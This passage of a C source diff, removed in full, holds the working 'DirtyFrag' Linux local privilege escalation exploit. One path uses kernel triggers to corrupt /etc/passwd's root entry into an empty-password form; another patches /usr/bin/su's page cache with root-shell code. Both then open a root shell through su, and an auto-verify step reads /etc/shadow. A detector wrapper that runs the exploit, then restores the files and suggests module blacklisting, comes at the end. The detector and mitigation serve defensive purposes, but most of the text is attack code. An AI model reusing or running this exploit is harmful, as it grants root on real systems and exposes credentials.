long)iter, iter / dt / 1e6); - } - } - return -1; -} - - -int rxrpc_lpe_main(int argc, char **argv) -{ - if (g_cve_ctx.verbose) fprintf(stderr, "\n=== rxrpc/rxkad LPE EXPLOIT (uid=1000 → root) ===\n"); - if (g_cve_ctx.verbose) fprintf(stderr, "[*] uid=%u euid=%u gid=%u\n", - getuid(), geteuid(), getgid()); - - { - const char *no_unshare = getenv("POC_NO_UNSHARE"); - if (!no_unshare || *no_unshare != '1') { - const char *do_unshare = getenv("POC_UNSHARE"); - if (do_unshare && *do_unshare == '1') { - if (do_unshare_userns_netns() < 0) return 1; - } - } - } - - /* Open a dummy AF_RXRPC socket to autoload the rxrpc kernel module. - * Without this, the first add_key("rxrpc", ...) call fails with ENODEV - * because the kernel key type "rxrpc" is registered by rxrpc_init() in - * the module load path. */ - { - int dummy = socket(AF_RXRPC, SOCK_DGRAM, PF_INET); - if (dummy < 0) { - WARN("socket(AF_RXRPC): %s — module not loadable?", strerror(errno)); - return 1; - } - close(dummy); - LOG("rxrpc module autoloaded via dummy socket(AF_RXRPC)"); - } - - /* Open /etc/passwd RO and mmap the first page (which contains the - * root entry on line 1). */ - const char *target_path = getenv("POC_TARGET_FILE"); - if (!target_path || !*target_path) target_path = "/etc/passwd"; - - int rfd_ro = open(target_path, O_RDONLY); - if (rfd_ro < 0) { - WARN("open %s RO: %s", target_path, strerror(errno)); - return 1; - } - struct stat st; - fstat(rfd_ro, &st); - if (st.st_size < 32) { WARN("target too small: %lld", (long long)st.st_size); return 1; } - LOG("target %s opened RO, size=%lld, uid=%u gid=%u mode=%04o", - target_path, (long long)st.st_size, st.st_uid, st.st_gid, - st.st_mode & 07777); - - /* mmap first page so the page-cache page stays pinned. */ - void *map = mmap(NULL, 4096, PROT_READ, MAP_SHARED, rfd_ro, 0); - if (map == MAP_FAILED) { WARN("mmap: %s", strerror(errno)); return 1; } - LOG("mmap'd %s page-cache at %p (PROT_READ|MAP_SHARED)", target_path, map); - - /* If a previous attempt already left the root entry in the patched - * "root::0:0:..." form, treat as success and skip the brute-force / - * trigger stages. Otherwise proceed regardless of current state — - * the brute-force re-derives K_A/K_B/K_C from whatever bytes are - * currently at offsets 4/6/8 of the page-cache page, so it works - * even on the corrupt residue from a previous failed run. */ - { - const char *m = (const char *)map; - if (memcmp(m, "root::0:0", 9) == 0) { - LOG("/etc/passwd already patched (root::0:0...) — nothing to do"); - return 0; - } - LOG("/etc/passwd line 1 first 16 bytes:"); - for (int i = 0; i < 16; i++) - if (g_cve_ctx.verbose) fprintf(stderr, "%02x ", (uint8_t)m[i]); - if (g_cve_ctx.verbose) fprintf(stderr, "\n"); - } - if (g_cve_ctx.verbose) fprintf(stderr, "[*] /etc/passwd line 1 (root entry) BEFORE: '"); - for (int i = 0; i < 32; i++) { - char c = ((const char *)map)[i]; - fputc((c == '\n') ? '$' : (c >= 32 && c < 127 ? c : '.'), stderr); - } - if (g_cve_ctx.verbose) fprintf(stderr, "'\n"); - - /* === STAGE 1 — THREE-SPLICE OFFLINE BRUTE FORCE === - * - * Read THREE 8-byte ciphertexts at file offsets 4, 6, 8. Search - * independently for K_A (chars 4-5 = "::"), K_B (chars 6-7 = "0:"), - * K_C (chars 8-15 = "0:GGGGGG:" with G non-control). All searches - * are user-space only — no kernel/VM interaction. - * - * Last-write-wins ordering: trigger A first (covers 4..11), then B - * (covers 6..13 — overrides A's 6..11), then C (covers 8..15 — - * overrides A's 8..11 and B's 8..13). Final state of chars 4..15: - * chars 4..5 = P_A[0..1] - * chars 6..7 = P_B[0..1] - * chars 8..15 = P_C[0..7] - * =================================================================*/ - uint8_t Ca[8], Cb[8], Cc[8]; - int off_a = 4, off_b = 6, off_c = 8; - if (pread(rfd_ro, Ca, 8, off_a) != 8) { WARN("pread Ca: %s", strerror(errno)); return 1; } - if (pread(rfd_ro, Cb, 8, off_b) != 8) { WARN("pread Cb: %s", strerror(errno)); return 1; } - if (pread(rfd_ro, Cc, 8, off_c) != 8) { WARN("pread Cc: %s", strerror(errno)); return 1; } - - LOG("Ca @ %d: %02x%02x%02x%02x%02x%02x%02x%02x \"%c%c%c%c%c%c%c%c\"", - off_a, Ca[0],Ca[1],Ca[2],Ca[3],Ca[4],Ca[5],Ca[6],Ca[7], - (Ca[0]>=32&&Ca[0]<127)?Ca[0]:'.', (Ca[1]>=32&&Ca[1]<127)?Ca[1]:'.', - (Ca[2]>=32&&Ca[2]<127)?Ca[2]:'.', (Ca[3]>=32&&Ca[3]<127)?Ca[3]:'.', - (Ca[4]>=32&&Ca[4]<127)?Ca[4]:'.', (Ca[5]>=32&&Ca[5]<127)?Ca[5]:'.', - (Ca[6]>=32&&Ca[6]<127)?Ca[6]:'.', (Ca[7]>=32&&Ca[7]<127)?Ca[7]:'.'); - LOG("Cb @ %d: %02x%02x%02x%02x%02x%02x%02x%02x \"%c%c%c%c%c%c%c%c\"", - off_b, Cb[0],Cb[1],Cb[2],Cb[3],Cb[4],Cb[5],Cb[6],Cb[7], - (Cb[0]>=32&&Cb[0]<127)?Cb[0]:'.', (Cb[1]>=32&&Cb[1]<127)?Cb[1]:'.', - (Cb[2]>=32&&Cb[2]<127)?Cb[2]:'.', (Cb[3]>=32&&Cb[3]<127)?Cb[3]:'.', - (Cb[4]>=32&&Cb[4]<127)?Cb[4]:'.', (Cb[5]>=32&&Cb[5]<127)?Cb[5]:'.', - (Cb[6]>=32&&Cb[6]<127)?Cb[6]:'.', (Cb[7]>=32&&Cb[7]<127)?Cb[7]:'.'); - LOG("Cc @ %d: %02x%02x%02x%02x%02x%02x%02x%02x \"%c%c%c%c%c%c%c%c\"", - off_c, Cc[0],Cc[1],Cc[2],Cc[3],Cc[4],Cc[5],Cc[6],Cc[7], - (Cc[0]>=32&&Cc[0]<127)?Cc[0]:'.', (Cc[1]>=32&&Cc[1]<127)?Cc[1]:'.', - (Cc[2]>=32&&Cc[2]<127)?Cc[2]:'.', (Cc[3]>=32&&Cc[3]<127)?Cc[3]:'.', - (Cc[4]>=32&&Cc[4]<127)?Cc[4]:'.', (Cc[5]>=32&&Cc[5]<127)?Cc[5]:'.', - (Cc[6]>=32&&Cc[6]<127)?Cc[6]:'.', (Cc[7]>=32&&Cc[7]<127)?Cc[7]:'.'); - - fcrypt_init_sboxes(); - /* selftest */ - { - fcrypt_uctx ctx; - uint8_t z[8] = {0}; - uint8_t cv[8] = { 0x0E, 0x09, 0x00, 0xC7, 0x3E, 0xF7, 0xED, 0x41 }; - uint8_t pv[8]; - fcrypt_user_setkey(&ctx, z); - fcrypt_user_decrypt(&ctx, pv, cv); - if (memcmp(pv, z, 8) != 0) { WARN("fcrypt selftest FAILED"); return 1; } - } - LOG("fcrypt selftest OK"); - - uint8_t Ka[8], Pa_out[8]; - uint8_t Kb[8], Pb_out[8]; - uint8_t Kc[8], Pc_out[8]; - uint8_t Cb_actual[8], Cc_actual[8]; - - { - uint64_t max_iters = 10000000000ULL; - const char *e = getenv("LPE_MAX_ITERS"); - if (e) max_iters = strtoull(e, NULL, 0); - uint64_t seed_base = (uint64_t)time(NULL) * 0x100000001ULL ^ (uint64_t)getpid(); - const char *se = getenv("LPE_SEED"); - if (se) seed_base = strtoull(se, NULL, 0); - - if (g_cve_ctx.verbose) fprintf(stderr, "\n=== STAGE 1a: search K_A (chars 4-5 := \"::\") prob ~1.5e-5 ===\n"); - if (find_K_offline_generic(Ca, max_iters, fc_check_pa_nullok, - Ka, Pa_out, seed_base, "K_A") != 0) { - WARN("K_A search exhausted"); return 2; - } - - /* After splice A is applied, the ciphertext that splice B will - * see at file offset 6 is NOT the original Cb — it's the bytes - * that splice A wrote to file offsets 6..11 (= Pa[2..7]) plus - * the original bytes 12..13 (= Cb[6..7]). We must derive - * Cb_actual and search K_B against it. */ - memcpy(Cb_actual, Pa_out + 2, 6); - memcpy(Cb_actual + 6, Cb + 6, 2); - LOG("Cb_actual (after splice A) = %02x%02x%02x%02x%02x%02x%02x%02x", - Cb_actual[0],Cb_actual[1],Cb_actual[2],Cb_actual[3], - Cb_actual[4],Cb_actual[5],Cb_actual[6],Cb_actual[7]); - - if (g_cve_ctx.verbose) fprintf(stderr, "\n=== STAGE 1b: search K_B (chars 6-7 := \"0:\") prob ~1.5e-5 ===\n"); - if (find_K_offline_generic(Cb_actual, max_iters, fc_check_pb_nullok, - Kb, Pb_out, seed_base ^ 0xa5a5a5a5a5a5a5a5ULL, - "K_B") != 0) { - WARN("K_B search exhausted"); return 2; - } - - /* Same chaining logic for splice C: after splice B, file offsets - * 8..13 hold Pb[2..7]; offsets 14..15 still hold the original - * bytes Cc[6..7]. */ - memcpy(Cc_actual, Pb_out + 2, 6); - memcpy(Cc_actual + 6, Cc + 6, 2); - LOG("Cc_actual (after splice B) = %02x%02x%02x%02x%02x%02x%02x%02x", - Cc_actual[0],Cc_actual[1],Cc_actual[2],Cc_actual[3], - Cc_actual[4],Cc_actual[5],Cc_actual[6],Cc_actual[7]); - - if (g_cve_ctx.verbose) fprintf(stderr, "\n=== STAGE 1c: search K_C (chars 8-15 := \"0:GGGGGG:\") prob ~5.4e-8 ===\n"); - if (find_K_offline_generic(Cc_actual, max_iters, fc_check_pc_nullok, - Kc, Pc_out, seed_base ^ 0x5a5a5a5a5a5a5a5aULL, - "K_C") != 0) { - WARN("K_C search exhausted"); return 2; - } - } - - if (g_cve_ctx.verbose) fprintf(stderr, "\n[+] Predicted post-corruption /etc/passwd line 1:\n \"root"); - /* chars 4-5 from P_A */ - for (int i = 0; i < 2; i++) fputc((Pa_out[i]>=32&&Pa_out[i]<127)?Pa_out[i]:'.', stderr); - /* chars 6-7 from P_B */ - for (int i = 0; i < 2; i++) fputc((Pb_out[i]>=32&&Pb_out[i]<127)?Pb_out[i]:'.', stderr); - /* chars 8-15 from P_C */ - for (int i = 0; i < 8; i++) fputc((Pc_out[i]>=32&&Pc_out[i]<127)?Pc_out[i]:'.', stderr); - if (g_cve_ctx.verbose) fprintf(stderr, "/root:/bin/bash\"\n"); - - /* === STAGE 2 — THREE KERNEL TRIGGERS (in order A → B → C) === - * Each trigger does a single in-place decrypt at the - * indicated /etc/passwd file offset. Last-write-wins on overlapping - * bytes determines the final state. - */ - if (g_cve_ctx.verbose) fprintf(stderr, "\n=== STAGE 2a: kernel trigger A @ off %d (set chars 4-5 \"::\") ===\n", off_a); - memcpy(SESSION_KEY, Ka, 8); - if (do_one_trigger(rfd_ro, off_a, 8) < 0) { - WARN("kernel trigger A failed"); return 3; - } - - if (g_cve_ctx.verbose) fprintf(stderr, "\n=== STAGE 2b: kernel trigger B @ off %d (set chars 6-7 \"0:\") ===\n", off_b); - memcpy(SESSION_KEY, Kb, 8); - if (do_one_trigger(rfd_ro, off_b, 8) < 0) { - WARN("kernel trigger B failed"); return 3; - } - - if (g_cve_ctx.verbose) fprintf(stderr, "\n=== STAGE 2c: kernel trigger C @ off %d (set chars 8-15 \"0:GGGGGG:\") ===\n", off_c); - memcpy(SESSION_KEY, Kc, 8); - if (do_one_trigger(rfd_ro, off_c, 8) < 0) { - WARN("kernel trigger C failed"); return 3; - } - - /* Verify: re-read line 1 of /etc/passwd via mmap. */ - if (g_cve_ctx.verbose) fprintf(stderr, "[*] /etc/passwd line 1 (root entry) AFTER: '"); - for (int i = 0; i < 32; i++) { - char c = ((const char *)map)[i]; - fputc((c == '\n') ? '$' : (c >= 32 && c < 127 ? c : '.'), stderr); - } - if (g_cve_ctx.verbose) fprintf(stderr, "'\n"); - - /* Sanity-check: chars 4-5 = "::", 6-7 = "0:", 8-9 = "0:", 15 = ':'. */ - { - const char *m = (const char *)map; - int ok = (m[4] == ':' && m[5] == ':' && - m[6] == '0' && m[7] == ':' && - m[8] == '0' && m[9] == ':' && - m[15] == ':'); - if (!ok) { - WARN("post-trigger sanity check failed — char layout off"); - return 4; - } - } - if (g_cve_ctx.verbose) fprintf(stderr, - "\n[!!!] HIT — root entry now has empty passwd field, uid=0, " - "gid=0, dir=/root, shell=/bin/bash.\n"); - - /* === STAGE 3 — VERIFY VIA getent passwd root === */ - if (g_cve_ctx.verbose) fprintf(stderr, - "\n=== STAGE 3: independent verify via `getent passwd root` ===\n"); - { - int p[2]; - if (pipe(p) == 0) { - pid_t pid = fork(); - if (pid == 0) { - close(p[0]); - dup2(p[1], 1); - dup2(p[1], 2); - close(p[1]); - execlp("getent", "getent", "passwd", "root", NULL); - _exit(127); - } - close(p[1]); - char buf[1024]; - ssize_t r = read(p[0], buf, sizeof(buf) - 1); - close(p[0]); - int wstatus = 0; - waitpid(pid, &wstatus, 0); - if (r > 0) { - buf[r] = 0; - if (g_cve_ctx.verbose) fprintf(stderr, "[getent passwd root] %s", buf); - } - if (g_cve_ctx.verbose) fprintf(stderr, - "[+] PRIMITIVE proven: root entry has empty passwd field " - "via NSS.\n"); - } - } - - /* Honour `--corrupt-only` arg or DIRTYFRAG_CORRUPT_ONLY=1 env so - * the chain wrapper can skip the in-process su PTY stage and exec - * /usr/bin/su itself. Avoids the flaky posix_openpt bridge. */ - { - int co_flag = 0; - for (int i = 1; i < argc; i++) - if (!strcmp(argv[i], "--corrupt-only")) { co_flag = 1; break; } - const char *e = getenv("DIRTYFRAG_CORRUPT_ONLY"); - if (e && *e == '1') co_flag = 1; - if (co_flag) return 0; - } - - /* === STAGE 4 — `su` (target=root, no password input) === - * PAM common-auth contains "auth [success=2 default=ignore] - * pam_unix.so nullok" — so a target user with empty passwd field - * + nullok flag accepts an empty password. We auto-inject a - * single newline on the "Password:" prompt and then bridge the - * resulting bash to the user's tty. */ - if (g_cve_ctx.verbose) fprintf(stderr, - "\n=== STAGE 4: spawning interactive root shell via `su` " - "(no password input needed) ===\n\n"); - fflush(stderr); - - int master = posix_openpt(O_RDWR | O_NOCTTY); - if (master < 0 || grantpt(master) < 0 || unlockpt(master) < 0) { - WARN("posix_openpt: %s", strerror(errno)); - return 5; - } - char *slave_name = ptsname(master); - - struct winsize ws; - if (ioctl(STDIN_FILENO, TIOCGWINSZ, &ws) == 0) { - ioctl(master, TIOCSWINSZ, &ws); - } - - pid_t pid = fork(); - if (pid < 0) { WARN("fork: %s", strerror(errno)); return 5; } - if (pid == 0) { - /* child */ - setsid(); - int slave = open(slave_name, O_RDWR); - if (slave < 0) _exit(127); - ioctl(slave, TIOCSCTTY, 0); - dup2(slave, 0); dup2(slave, 1); dup2(slave, 2); - if (slave > 2) close(slave); - close(master); - /* `su` with no args targets root. PAM common-auth's pam_unix.so - * nullok accepts the empty passwd we planted in /etc/passwd. */ - execlp("su", "su", NULL); - _exit(127); - } - - /* parent: bridge user's tty <-> master. */ - struct termios saved_termios; - int saved_termios_ok = (tcgetattr(STDIN_FILENO, &saved_termios) == 0); - if (saved_termios_ok) { - struct termios raw = saved_termios; - cfmakeraw(&raw); - tcsetattr(STDIN_FILENO, TCSANOW, &raw); - } - - int auto_pw_sent = 0; - int stdin_eof = 0; /* set when stdin closes (e.g. /dev/null) */ - char buf[4096]; - /* If LPE_AUTO_VERIFY=1 is set, the bridge will inject - * `id; whoami; exit\n` so it can prove uid=0 non-interactively - * (e.g. when stdin is /dev/null in CI). */ - int auto_verify = 0; - { - const char *e = getenv("LPE_AUTO_VERIFY"); - if (e && *e == '1') auto_verify = 1; - } - int verify_sent = 0; - int total_ms = 0; - for (;;) { - struct pollfd pfds[2] = { - { stdin_eof ? -1 : STDIN_FILENO, POLLIN, 0 }, - { master, POLLIN, 0 }, - }; - int pr = poll(pfds, 2, 200); - if (pr < 0 && errno != EINTR) break; - total_ms += 200; - - if (pfds[1].revents & POLLIN) { - ssize_t n = read(master, buf, sizeof(buf)); - if (n <= 0) break; - (void)write(STDOUT_FILENO, buf, n); - if (!auto_pw_sent && (size_t)n < sizeof(buf)) { - buf[n] = 0; - if (strstr(buf, "Password") || strstr(buf, "password")) { - /* Empty password — PAM nullok will accept it. - * (When pam_unix sees an empty passwd field plus - * nullok it skips the prompt entirely; this branch - * handles the case where some other PAM module - * prints a prompt anyway.) */ - (void)write(master, "\n", 1); - auto_pw_sent = 1; - } - } - } - if (!stdin_eof && (pfds[0].revents & POLLIN)) { - ssize_t n = read(STDIN_FILENO, buf, sizeof(buf)); - if (n <= 0) { - /* stdin EOF — stop reading from it but keep bridging - * master → stdout so su can still finish auth and run - * the optional auto-verify command. */ - stdin_eof = 1; - } else { - (void)write(master, buf, n); - } - } - if (pfds[1].revents & (POLLHUP | POLLERR)) break; - - /* Auto-verify: ~1 s after spawn, send `id; whoami; exit\n` so - * the bridge captures uid=0 evidence non-interactively even - * when pam_unix's blank-passwd path skips the prompt. */ - if (auto_verify && !verify_sent && total_ms >= 1000) { - const char cmd[] = "id; whoami; cat /etc/shadow | head -2; exit\n"; - (void)write(master, cmd, sizeof(cmd) - 1); - verify_sent = 1; - } - - int status; - pid_t w = waitpid(pid, &status, WNOHANG); - if (w == pid) { - for (int i = 0; i < 5; i++) { - struct pollfd pf = { master, POLLIN, 0 }; - if (poll(&pf, 1, 50) <= 0) break; - ssize_t n = read(master, buf, sizeof(buf)); - if (n <= 0) break; - (void)write(STDOUT_FILENO, buf, n); - } - break; - } - } - if (saved_termios_ok) { - tcsetattr(STDIN_FILENO, TCSANOW, &saved_termios); - } - close(master); - return 0; -} -/* - * DirtyFrag chain — uid=1000 → root. - * - * 1. ESP path (authencesn AF_ALG --corrupt-only): overwrites the first - * 160 bytes of /usr/bin/su's page-cache with a static x86_64 root- - * shell ELF. Works on every distro tested regardless of PAM nullok - * or /etc/passwd contents — once invoked, the patched setuid-root - * /usr/bin/su just execs /bin/sh as uid 0. - * - * 2. rxrpc path (Ubuntu fallback): if AF_ALG is sandboxed and the ESP - * path can't reach the page cache, fall back to the rxrpc/rxkad - * nullok primitive that patches /etc/passwd's root entry empty. - * PAM nullok then accepts the empty password during `su -`. - * - * 3. Once either target is corrupted, spawn `/usr/bin/su -` inside a - * fresh PTY and bridge the user's tty to it. The bridge handles - * both the patched-su (no PAM at all) and the patched-passwd (PAM - * nullok) cases uniformly, and works even when the caller is in a - * background process group of an ssh-allocated PTY. - * - */ -#define _GNU_SOURCE -#include <stdio.h> -#include <stdlib.h> -#include <string.h> -#include <unistd.h> -#include <errno.h> -#include <fcntl.h> -#include <sched.h> -#include <poll.h> -#include <signal.h> -#include <termios.h> -#include <sys/ioctl.h> -#include <sys/wait.h> -#include <sys/types.h> -#include <stdint.h> - -extern int su_lpe_main(int argc, char **argv); -extern int rxrpc_lpe_main(int argc, char **argv); - -/* - * The 8 bytes our su payload places at file offset 0x78 — the first - * instructions of the embedded shell ELF. Sequence: - * 31 ff xor edi, edi - * 31 f6 xor esi, esi - * 31 c0 xor eax, eax - * b0 6a mov al, 0x6a (setgid) - * Distros' original /usr/bin/su has different bytes here, so this is - * a reliable post-patch marker. - * - * (We don't check offset 0 because /usr/bin/su already has the ELF - * magic there — both before and after we patch.) - */ -static const uint8_t su_marker[8] = { - 0x31, 0xff, 0x31, 0xf6, 0x31, 0xc0, 0xb0, 0x6a, -}; - -static int su_already_patched(void) -{ - int fd = open("/usr/bin/su", O_RDONLY); - if (fd < 0) - return 0; - uint8_t got[8]; - ssize_t n = pread(fd, got, sizeof(got), 0x78); - close(fd); - if (n != sizeof(got)) - return 0; - return memcmp(got, su_marker, sizeof(su_marker)) == 0; -} - -static int passwd_already_patched(void) -{ - int fd = open("/etc/passwd", O_RDONLY); - if (fd < 0) - return 0; - char head[16]; - ssize_t n = pread(fd, head, sizeof(head), 0); - close(fd); - if (n < 9) - return 0; - return memcmp(head, "root::0:0", 9) == 0; -} - -static int either_target_patched(void) -{ - return su_already_patched() || passwd_already_patched(); -} - -static void silence_stderr(int *saved_fd) -{ - *saved_fd = dup(STDERR_FILENO); - int dn = open("/dev/null", O_WRONLY); - if (dn >= 0) { - dup2(dn, STDERR_FILENO); - close(dn); - } -} - -static void restore_stderr(int saved_fd) -{ - if (saved_fd >= 0) { - dup2(saved_fd, STDERR_FILENO); - close(saved_fd); - } -} - -static char **append_corrupt_only(int argc, char **argv, int *new_argc) -{ - static char *flag = "--corrupt-only"; - static char *buf[64]; - int n = argc < 60 ? argc : 60; - for (int i = 0; i < n; i++) - buf[i] = argv[i]; - buf[n] = flag; - buf[n + 1] = NULL; - *new_argc = n + 1; - return buf; -} - -static void exec_su_login(void) -{ - const char *paths[] = { - "/bin/su", "/usr/bin/su", "/sbin/su", "/usr/sbin/su", NULL, - }; - for (int i = 0; paths[i]; i++) - execl(paths[i], "su", "-", (char *)NULL); - execlp("su", "su", "-", (char *)NULL); -} - -/* - * Spawn `/usr/bin/su -` in a fresh PTY and bridge our tty to it. - */ -static int run_root_pty(void) -{ - int master = posix_openpt(O_RDWR | O_NOCTTY); - if (master < 0) - return -1; - if (grantpt(master) < 0 || unlockpt(master) < 0) { - close(master); - return -1; - } - char *slave_name = ptsname(master); - if (!slave_name) { - close(master); - return -1; - } - - struct winsize ws; - if (ioctl(STDIN_FILENO, TIOCGWINSZ, &ws) == 0) - ioctl(master, TIOCSWINSZ, &ws); - - pid_t pid = fork(); - if (pid < 0) { - close(master); - return -1; - } - if (pid == 0) { - setsid(); - int slave = open(slave_name, O_RDWR); - if (slave < 0) - _exit(127); - ioctl(slave, TIOCSCTTY, 0); - dup2(slave, 0); - dup2(slave, 1); - dup2(slave, 2); - if (slave > 2) - close(slave); - close(master); - exec_su_login(); - _exit(127); - } - - signal(SIGTTOU, SIG_IGN); - signal(SIGTTIN, SIG_IGN); - signal(SIGPIPE, SIG_IGN); - signal(SIGHUP, SIG_IGN); - (void)setpgid(0, 0); - (void)tcsetpgrp(STDIN_FILENO, getpid()); - - struct termios saved_termios; - int restore_termios = 0; - if (tcgetattr(STDIN_FILENO, &saved_termios) == 0) { - struct termios raw = saved_termios; - cfmakeraw(&raw); - if (tcsetattr(STDIN_FILENO, TCSANOW, &raw) == 0) - restore_termios = 1; - } - - int auto_pw_sent = 0; - int stdin_eof = 0; - int saw_master_output = 0; - int total_ms = 0; - char buf[4096]; - - for (;;) { - struct pollfd pfds[2] = { - { stdin_eof ? -1 : STDIN_FILENO, POLLIN, 0 }, - { master, POLLIN, 0 }, - }; - int pr = poll(pfds, 2, 200); - if (pr < 0 && errno != EINTR) - break; - total_ms += 200; - - if (pfds[1].revents & POLLIN) { - ssize_t n = read(master, buf, sizeof(buf)); - if (n <= 0) - break; - saw_master_output = 1; - (void)write(STDOUT_FILENO, buf, n); - if (!auto_pw_sent && n < (ssize_t)sizeof(buf)) { - buf[n] = 0; - if (strstr(buf, "Password") || - strstr(buf, "password")) { - (void)write(master, "\n", 1); - auto_pw_sent = 1; - } - } - } - if (!stdin_eof && (pfds[0].revents & POLLIN)) { - ssize_t n = read(STDIN_FILENO, buf, sizeof(buf)); - if (n <= 0) - stdin_eof = 1; - else - (void)write(master, buf, n); - } - if (pfds[1].revents & (POLLHUP | POLLERR)) - break; - - if (!auto_pw_sent && !saw_master_output && total_ms >= 1500) { - (void)write(master, "\n", 1); - auto_pw_sent = 1; - } - - int status; - pid_t w = waitpid(pid, &status, WNOHANG); - if (w == pid) { - for (int i = 0; i < 5; i++) { - struct pollfd pf = { master, POLLIN, 0 }; - if (poll(&pf, 1, 50) <= 0) - break; - ssize_t n = read(master, buf, sizeof(buf)); - if (n <= 0) - break; - (void)write(STDOUT_FILENO, buf, n); - } - break; - } - } - - if (restore_termios) - tcsetattr(STDIN_FILENO, TCSANOW, &saved_termios); - close(master); - return 0; -} - -int main(int argc, char **argv) -{ - int verbose = (getenv("DIRTYFRAG_VERBOSE") != NULL); - int force_esp = 0, force_rxrpc = 0; - int saved_err = -1; - int rc = 1; - int new_argc; - char **co_argv; - - for (int i = 1; i < argc; i++) { - if (!strcmp(argv[i], "--force-esp")) - force_esp = 1; - else if (!strcmp(argv[i], "--force-rxrpc")) - force_rxrpc = 1; - else if (!strcmp(argv[i], "-v") || - !strcmp(argv[i], "--verbose")) - verbose = 1; - } - - if (getuid() == 0) { - execlp("/bin/bash", "bash", (char *)NULL); - _exit(1); - } - - co_argv = append_corrupt_only(argc, argv, &new_argc); - - if (!verbose) - silence_stderr(&saved_err); - - if (force_rxrpc) { - rc = rxrpc_lpe_main(new_argc, co_argv); - for (int i = 0; !passwd_already_patched() && i < 3; i++) - rc = rxrpc_lpe_main(new_argc, co_argv); - } else if (force_esp) { - rc = su_lpe_main(new_argc, co_argv); - } else { - rc = su_lpe_main(new_argc, co_argv); - if (!su_already_patched()) { - rc = rxrpc_lpe_main(new_argc, co_argv); - for (int i = 0; !passwd_already_patched() && i < 3; i++) - rc = rxrpc_lpe_main(new_argc, co_argv); - } - } - - int patched = either_target_patched(); - - if (!verbose) - restore_stderr(saved_err); - - if (patched) { - (void)run_root_pty(); - return 0; - } - - if (g_cve_ctx.verbose) dprintf(2, "dirtyfrag: failed (rc=%d)\n", rc); - return rc ? rc : 1; -} - -/* ---- detector plumbing ---- */ - -static int detector_su_already_patched(void) { - static const uint8_t marker[8] = { - 0x31, 0xff, 0x31, 0xf6, 0x31, 0xc0, 0xb0, 0x6a, - }; - int fd = open("/usr/bin/su", O_RDONLY); - if (fd < 0) return 0; - uint8_t got[8]; - ssize_t n = pread(fd, got, sizeof(got), 0x78); - close(fd); - if (n != sizeof(got)) return 0; - return memcmp(got, marker, sizeof(got)) == 0; -} - -static int detector_passwd_already_patched(void) { - int fd = open("/etc/passwd", O_RDONLY); - if (fd < 0) return 0; - char head[16]; - ssize_t n = pread(fd, head, sizeof(head), 0); - close(fd); - if (n < 9) return 0; - return memcmp(head, "root::0:0", 9) == 0; -} - -int detector_dirtyfrag(struct cve_context *ctx) { - (void)ctx; - - if (ctx->verbose) { - g_su_verbose = 1; - setenv("DIRTYFRAG_VERBOSE", "1", 1); - } - if (detector_su_already_patched() || detector_passwd_already_patched()) - return 3; - - /* Back up both artifacts before any corruption attempt. */ - backup_su(); - backup_passwd(); - - { /* ESP / xfrm path */ - char *argv[] = {"dirtyfrag", "--corrupt-only", NULL}; - if (su_lpe_main(2, argv) == 0 && detector_su_already_patched()) { - /* System is vulnerable — restore artifacts before returning. */ - revert_su(); - revert_passwd(); - return 3; - } - revert_su(); - } - - { /* rxrpc / rxkad fallback */ - setenv("DIRTYFRAG_CORRUPT_ONLY", "1", 1); - char *argv[] = {"dirtyfrag", "--corrupt-only", NULL}; - int rc = rxrpc_lpe_main(2, argv); - unsetenv("DIRTYFRAG_CORRUPT_ONLY"); - if (rc == 0 && detector_passwd_already_patched()) { - /* System is vulnerable — restore artifacts before returning. */ - revert_su(); - revert_passwd(); - return 3; - } - } - - /* Restore any artifacts that may have been touched. */ - revert_su(); - revert_passwd(); - - return 0; -} - -__attribute__((constructor)) void detector_dirtyfrag_setup(void) { - detector_queue_append("dirtyfrag", - "Dirty Frag (xfrm-ESP Page-Cache Write): " - "Run the following to blacklist vulnerable modules:\n" - " sh -c \"printf 'install esp4 /bin/false\\ninstall esp6 /bin/false\\n" - "install rxrpc /bin/false\\n' > /etc/modprobe.d/dirtyfrag.conf; " - "rmmod esp4 esp6 rxrpc 2>/dev/null ; echo 3 > /proc/sys/vm/drop_caches; true\"\n" - " Then update your kernel once distribution patches are available.", - detector_dirtyfrag); -}